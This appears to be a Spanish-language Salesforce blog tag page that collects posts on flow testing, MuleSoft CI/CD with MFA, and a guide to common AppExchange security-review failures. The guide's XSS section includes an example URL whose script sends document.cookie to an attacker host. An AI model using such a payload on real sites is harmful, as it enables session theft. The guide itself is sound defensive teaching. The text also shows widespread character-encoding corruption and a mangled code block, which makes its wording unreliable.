Skip to content

Tag: pruebas

Un d铆a en la vida de un nuevo programador de Salesforce

Ingresar en el ecosistema de Salesforce puede ser una experiencia desalentadora pero emocionante. Hace poco m谩s de un a帽o, me incorpor茅 a Giveclarity como consultor t茅cnico en pr谩cticas. Tras tres meses de formaci贸n, me adentr茅 en el din谩mico mundo de la consultor铆a. Como nuevo miembro del equipo t茅cnico, me dedico a todo tipo de tareas, desde trabajar en […]

The post Un d铆a en la vida de un nuevo codificador de Salesforce appeared first on Salesforce Ben.

Continue reading

Salesforce Velocity con Sweep: Un nuevo estado de 谩nimo operativo

Salesforce Velocity con Sweep: Un nuevo estado de 谩nimo operativo

脷ltima actualizaci贸n el 25 de octubre de 2023 por Rakesh Gupta Salesforce es la plataforma CRM l铆der en el mundo por una raz贸n: est谩 en constante evoluci贸n e innovaci贸n, impulsando un crecimiento masivo en el ecosistema. El ecosistema de servicios y productos de Salesforce ha crecido significativamente en los 煤ltimos a帽os. En 2021, IDC public贸 un estudio en el que se

The post Salesforce Velocity con Sweep: A New Operational State of Mind appeared first on Campe贸n de la Automatizaci贸n.

La velocidad de Salesforce con Sweep

Continue reading

驴Sabe qu茅 hay en la hoja de ruta de Salesforce para la IA?

Despu茅s de la pl茅tora de emocionantes anuncios de IA en Dreamforce, sabemos que hay un mont贸n de emocionantes innovaciones de IA a la vuelta de la esquina. Pero con tanto que esperar, 驴c贸mo podemos estar al tanto de lo que est谩 por venir y cu谩ndo? Las hojas de ruta de productos de Salesforce son la clave para estar al tanto de lo que se […]

planea y [..

La entrada 驴Sabe qu茅 hay en la hoja de ruta de la IA de Salesforce? appeared first on Salesforce Ben.

Continue reading

Arquitectos de Salesforce: From Good to Great With Design Thinking

“驴Cu谩l cree que es la diferencia entre un buen y un gran arquitecto de Salesforce?” Hace a帽os, compart铆a un taxi despu茅s de Dreamforce con un amigo arquitecto de Salesforce y serpente谩bamos entre el tr谩fico atascado en el centro de San Francisco. Surgi贸 el tema de por qu茅 muchos aspirantes a arquitectos fracasan en su primer intento en los ex谩menes de CTA. Pues bien, […]

El post Arquitectos de Salesforce: From Good to Great With Design Thinking appeared first on Salesforce Ben.

Los arquitectos de Salesforce: De buenos a excelentes con Design Thinking

Continue reading

C贸mo la consultor铆a de AWS puede maximizar el ROI de adopci贸n

Cada vez m谩s organizaciones de todos los sectores est谩n considerando la migraci贸n a AWS para aprovechar los beneficios de una mayor flexibilidad, seguridad avanzada y una gama de s贸lidos servicios de AWS. Seg煤n Statista, el segmento de AWS crece al menos un 20% cada a帽o. A pesar de todas las ventajas potenciales de la plataforma en la nube de AWS, su implementaci贸n tiende a llevar tiempo […]

The post C贸mo la consultor铆a de AWS puede maximizar el ROI de la adopci贸n appeared first on Salesforce Ben.

Continue reading

Uso de prueba de flujo versus clase de prueba para flujo en Salesforce

Uso de prueba de flujo versus clase de prueba para flujo en Salesforce

Introducci贸n de la prueba de flujo

Anteriormente, si quer铆amos probar el flujo, necesit谩bamos escribir una clase de prueba de Apex para el flujo. Con la versi贸n Summer '22, Salesforce introdujo un marco de prueba para flujos activados por registros para automatizar las pruebas de flujos. Ahora podemos dejar que Salesforce pruebe el flujo, asegurarnos de que los resultados cumplan con las expectativas y resaltar cuando no lo sean. Ahora podemos crear y ejecutar pruebas dentro del propio generador de flujo, de forma declarativa sin escribir ning煤n c贸digo.

C贸mo funciona

Establecer detalles de prueba, desencadenante y ruta

Proporciona una etiqueta de prueba de flujo y una descripci贸n de la prueba. Establezca el activador de prueba en Creado/actualizado seg煤n el escenario. La ruta de la prueba est谩 configurada para Ejecutar inmediatamente.

imagen.png Establecer registro de activaci贸n inicial/actualizado

Usando la funci贸n de b煤squeda, podemos buscar el registro para usarlo como plantilla inicial. Tras la selecci贸n del registro, los campos se completan a partir del registro seleccionado. La prueba hereda los valores de campo del registro seleccionado. Sin embargo, podemos modificar los valores de estos campos antes de finalizar la prueba. La prueba no est谩 vinculada a este registro pero contiene y utiliza sus valores de campo.

imagen.png Establecer afirmaciones

La aserci贸n es una forma de comparar el resultado real con el resultado previsto. Si coinciden, entonces la afirmaci贸n se eval煤a como verdadera. De lo contrario, la afirmaci贸n falla. Escriba las siguientes afirmaciones para garantizar que se cumplan los criterios de entrada de registros para el flujo y se logre el resultado esperado.

imagen.png Ejecutar prueba y ver detalles

Haga clic en el bot贸n "Ver pruebas", seleccione el men煤 desplegable de la prueba de flujo que queremos ejecutar y seleccione Ejecutar prueba y ver detalles.

imagen.png La prueba de flujo se ejecuta y resalta el camino que tom贸 la prueba. Si necesitamos probar el flujo, simplemente podemos ejecutar la prueba. Ya no es necesario configurar los datos de prueba mediante programaci贸n. 隆Esto aumenta la eficiencia de las pruebas! Si necesitamos realizar una mejora en este flujo en el futuro, necesitaremos actualizar el registro de prueba asociado en consecuencia.

imagen.png Beneficios

  1. F谩cil y c贸modo de usar: podemos crear registros de prueba a trav茅s de la interfaz de usuario y ponerlos a prueba.
  2. Tiempo y esfuerzo: reduce el tiempo y el esfuerzo necesarios, ya que no necesitamos escribir c贸digo, solo crear registros desde la interfaz de usuario y realizar afirmaciones.
  3. No afectar谩 la cobertura del c贸digo existente a nivel de clase: si migramos cualquier funcionalidad del activador al flujo, la l贸gica subyacente del activador/clase tambi茅n se limpia manualmente como parte de este ejercicio. Esto no reducir谩 la cobertura del c贸digo de la clase ya que la l贸gica se elimina por completo.
  4. Cobertura de la prueba de flujo: el porcentaje de cobertura no se captura en la prueba de flujo como podemos hacerlo a trav茅s de la clase Apex. M谩s bien es capaz de cubrir nodos. Una vez seleccionamos 鈥淓jecutar prueba y ver detalles鈥. La ruta resaltada en amarillo representar谩 la cobertura real del flujo desde el principio hasta el final del nodo.

imagen.png

imagen.png

imagen.png Desventaja

  1. Solo puede crear pruebas de flujo para crear, actualizar o crear/actualizar flujos activados por registros. A煤n no se admite la eliminaci贸n de flujos activados por registros. 鈥 Solo para el escenario de eliminaci贸n de registros podemos escribir una clase de prueba
  2. Puede afectar la cobertura general: dado que la cobertura de prueba general se calcula en funci贸n de la cobertura de prueba de todas las clases combinadas (promedio), si migramos cualquier caracter铆stica que tenga una cobertura de prueba m谩s alta en la clase 谩pice relevante, podr铆a reducir el porcentaje de cobertura general del c贸digo. (Como actualmente solo nos estamos enfocando en migrar el activador relacionado con la cuenta para fluir, solo se ve afectada 1 clase de prueba, por lo que no hay cambios significativos en la cobertura del c贸digo Apex).
  3. Las pruebas de flujo no admiten rutas de flujo que se ejecuten de forma asincr贸nica. Sin embargo, no tenemos flujo as铆ncrono en nuestra organizaci贸n. Estamos creando flujos para cubrir escenarios que se ejecutan sincr贸nicamente.

Recomendaci贸n

  • Podemos comenzar a dar pasos para pasar a la prueba de flujo a medida que Salesforce realiza mejoras continuas en el flujo, por lo que en versiones futuras, podemos esperar que la prueba de flujo incluya m谩s mejoras y reduzca las limitaciones.
  • Podemos comenzar escribiendo una prueba de flujo para las actualizaciones r谩pidas de campos (antes) de los flujos de activaci贸n de registros.
  • Mejorar la cobertura de prueba de las clases que tienen menos cobertura para que podamos usar la prueba de flujo.

Preguntas m谩s frecuentes

驴Cu谩l es el porcentaje de cobertura para implementar Flow?

En relaci贸n con las pruebas de Apex, las pruebas de flujo no se consideran parte de la cobertura de pruebas como en el 75%+ para el despliegue de productos.

驴Brindan cobertura de c贸digo como lo hace la clase de prueba? Si no, 驴debemos pensar en eliminar el flujo de la cobertura de prueba?

S铆, cubren resaltando nodo por nodo.

驴Puede confirmar si la prueba de flujo permite ejecutar pruebas masivas?

No, no admite pruebas de registros masivos. En la mayor铆a de los escenarios relacionados con desencadenantes, hemos creado un registro individual en la clase de prueba y verificamos los escenarios de prueba. Si reemplazamos esos desencadenantes con flujos, no habr谩 una gran diferencia en los casos de prueba.

驴La prueba de flujo admite la asincron铆a?

Las pruebas de flujo no admiten rutas de flujo que se ejecuten de forma asincr贸nica. Sin embargo, no tenemos flujo as铆ncrono en nuestra organizaci贸n. Estamos creando flujos para cubrir escenarios que se ejecutan sincr贸nicamente.

驴Cu谩l es el rendimiento de las pruebas de flujo en comparaci贸n con las clases de prueba?

No veo ninguna documentaci贸n oficial, pero creo que la prueba de flujo ser谩 m谩s r谩pida en comparaci贸n con la clase de prueba porque cuando ejecutamos una prueba crear谩 una instancia de la clase y llamar谩 a m茅todos individuales. Podemos ejecutar casos de prueba individuales utilizando una prueba de flujo, pero no es posible ejecutar un solo m茅todo individual desde la clase de prueba, lo que lleva mucho tiempo.

Referencia

Prueba de flujo (beta)

Consideraciones para probar el flujo

50% Me gusta VS
50% No me gusta
Continue reading

Habilitaci贸n de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub 鈽侊笍

Habilitaci贸n de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Habilitaci贸n de MFA en MuleSoft para canalizaciones de CI/CD mediante acciones de GitHub | Blog de desarrolladores de Salesforce

La mayor铆a de las cuentas empresariales de Anypoint Platform requieren que utilice mecanismos de autenticaci贸n multifactor (MFA) para mayor seguridad. Esto significa que, adem谩s de su nombre de usuario y contrase帽a habituales, necesitar谩 un paso adicional para autenticarse (por ejemplo, una aplicaci贸n de autenticaci贸n en su tel茅fono).

Cuando utiliza canalizaciones de CI/CD para sus aplicaciones Mule y MFA est谩 habilitado en su cuenta, la configuraci贸n para autenticarse usando el complemento Mule Maven ser谩 diferente que si solo estuviera usando su nombre de usuario y contrase帽a. Hay m谩s pasos que debe seguir desde su cuenta de Anypoint Platform para habilitar sus canales de CI/CD con este m茅todo de autenticaci贸n.

En esta publicaci贸n, aprender谩 c贸mo configurar una canalizaci贸n de GitHub Actions para que funcione con su cuenta habilitada para MFA desde Anypoint Platform.

Requisitos previos

Crear una aplicaci贸n conectada

Dado que usar el nombre de usuario y la contrase帽a de su plataforma Anypoint no es suficiente para autenticarse en el proceso, debe crear una aplicaci贸n conectada para usar sus credenciales (ID/Secreto). Para crearlo, vaya a su cuenta de Anypoint Platform y navegue hasta Gesti贸n de acceso > Aplicaciones conectadas > Crear aplicaci贸n .

Asigne un nombre a su aplicaci贸n para identificarla de otras que pueda crear. Por ejemplo, github-actions . Seleccione el tipo La aplicaci贸n act煤a por s铆 sola y haga clic en el bot贸n Agregar 谩mbitos .

Seleccione los siguientes 10 谩mbitos.

  • Desarrollador del centro de dise帽o
  • Ver entorno
  • Ver organizaci贸n
  • Perfil
  • Administrador de organizaci贸n de CloudHub
  • Crear aplicaciones
  • Eliminar aplicaciones
  • Descargar aplicaciones
  • Leer aplicaciones
  • Leer servidores

Haga clic en Siguiente . Seleccione su grupo empresarial y haga clic en Siguiente . Seleccione su entorno (por ejemplo, Sandbox) y haga clic en Siguiente . Revise que los alcances sean correctos y haga clic en Agregar alcances . Haga clic en Guardar .

Una vez creada la aplicaci贸n, aseg煤rese de copiar tanto el ID como el Secreto . Los utilizar谩 en la configuraci贸n de la canalizaci贸n como m茅todo de autenticaci贸n.

Configura tus secretos de GitHub Actions

Vaya a su repositorio de GitHub. Haga clic en la pesta帽a Configuraci贸n > Secretos y variables > Acciones > Nuevo secreto del repositorio . En el campo de nombre, agregue CONNECTED_APP_CLIENT_ID . En el campo secreto, agregue la identificaci贸n real que acaba de copiar en el paso anterior. Repita este paso para crear otro secreto con el secreto real que copi贸 en el paso anterior. Utilice el nombre CONNECTED_APP_CLIENT_SECRET .

Crear una canalizaci贸n de CI/CD

De vuelta en el c贸digo de su aplicaci贸n Mule, cree una carpeta .github en el nivel ra铆z. Dentro de esta carpeta, cree otra carpeta llamada workflows . Dentro de esta carpeta, cree un archivo build.yml con el siguiente contenido: mule-mfa-cicd-build.yml . Tenga en cuenta que la sucursal main se utiliza en la l铆nea 5. Si su sucursal tiene un nombre diferente, aseg煤rese de actualizar esta configuraci贸n.

En este archivo, describimos los pasos para generar el archivo JAR de nuestra aplicaci贸n Mule e implementarlo en nuestra cuenta de Anypoint Platform usando GitHub Actions. Observe que estamos usando los secretos creados previamente en el 煤ltimo paso para pasarlos a nuestro proyecto a trav茅s de Maven. Aqu铆 declaramos dos variables de entorno Java ( client.id y client.secret ) para copiar las credenciales de nuestra aplicaci贸n de los secretos de GitHub para que el archivo pom.xml pueda usarse m谩s adelante.

Modifica tu configuraci贸n de Maven

En su proyecto Mule, abra su archivo pom.xml. Localice el complemento org.mule.tools.maven en project/build/plugins . Agregue la siguiente configuraci贸n a este complemento.

<dx-code-block title language="xml" code-block=" org.mule.tools.maven mule-maven-plugin ${mule.maven.plugin.version} true https://anypoint.mulesoft.com 4.4.0 mulesoft-mfa-cicd Sandbox MICRO us-east-2 1 true ${client.id} ${client.secret} client_credentials
“>

Vuelva a verificar estas configuraciones en caso de que necesite actualizarlas para que coincidan con su caso de uso. Por ejemplo, muleVersion , applicationName , environment o region . Usaremos los campos connectedAppClientId y connectedAppClientSecret para pasar las variables Java que declaramos anteriormente en la configuraci贸n de Maven.

Es importante que no codifique las credenciales de la aplicaci贸n conectada en este archivo por razones de seguridad. Es por eso que mantenemos los valores como secretos de GitHub. Recuerda que puedes acceder a nuestro repositorio de ejemplo si necesitas comparar tu c贸digo con el nuestro.

ejecutar la tuber铆a

Una vez que todas sus configuraciones est茅n listas, confirme y env铆e sus cambios al repositorio remoto. Esto activar谩 la canalizaci贸n en GitHub. Puede ver el proceso haciendo clic en la pesta帽a Acciones de su repositorio de GitHub.

Una vez completado el proceso, su aplicaci贸n Mule se implementar谩 en Runtime Manager. Tenga en cuenta que el archivo JAR contendr谩 el hash de confirmaci贸n en su nombre.

Conclusi贸n

Habilitar canalizaciones de CI/CD es importante para automatizar tareas repetitivas. En lugar de implementar manualmente una aplicaci贸n Mule cada vez que hay un cambio en el c贸digo, podemos crear canalizaciones para que realicen estas tareas por nosotros. Este fue un ejemplo simple que utiliza solo una sucursal y un entorno, pero puede conectar otras sucursales a otros entornos en Anypoint Platform. Por ejemplo, dev , qa , prod , etc.

En esta publicaci贸n, aprendimos c贸mo implementar autom谩ticamente una aplicaci贸n Mule en CloudHub cuando usamos la autenticaci贸n multifactor en nuestra cuenta de Anypoint Platform porque la mayor铆a de las cuentas empresariales tienen esta configuraci贸n habilitada. Sin embargo, cuando solo usa una cuenta de prueba gratuita, no necesita crear una aplicaci贸n conectada si no usa MFA en su cuenta. Puede utilizar su nombre de usuario y contrase帽a de Anypoint Platform para iniciar sesi贸n.

Hay muchas cosas que puede automatizar al utilizar canalizaciones de CI/CD para sus aplicaciones Mule. Puedes ejecutar pruebas automatizadas antes de implementar tu aplicaci贸n Mule, por ejemplo. 驴Se te ocurren otras tareas repetitivas que puedas automatizar en tus canalizaciones?

Nota: Las versiones iniciales de la canalizaci贸n se basan en el siguiente repositorio creado por Archana Patel: arch-jn/github-actions-mule-cicd-demo .

Recursos adicionales

Sobre el Autor

Alex Mart铆nez form贸 parte de la comunidad de MuleSoft antes de unirse a MuleSoft como desarrollador defensor. Fund贸 ProstDev para ayudar a otros profesionales a aprender m谩s sobre la creaci贸n de contenido. En su tiempo libre, encontrar谩s a Alex jugando juegos de Nintendo o Playstation y escribiendo rese帽as sobre ellos. Siga a Alex en LinkedIn o en la comunidad Trailblazer .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
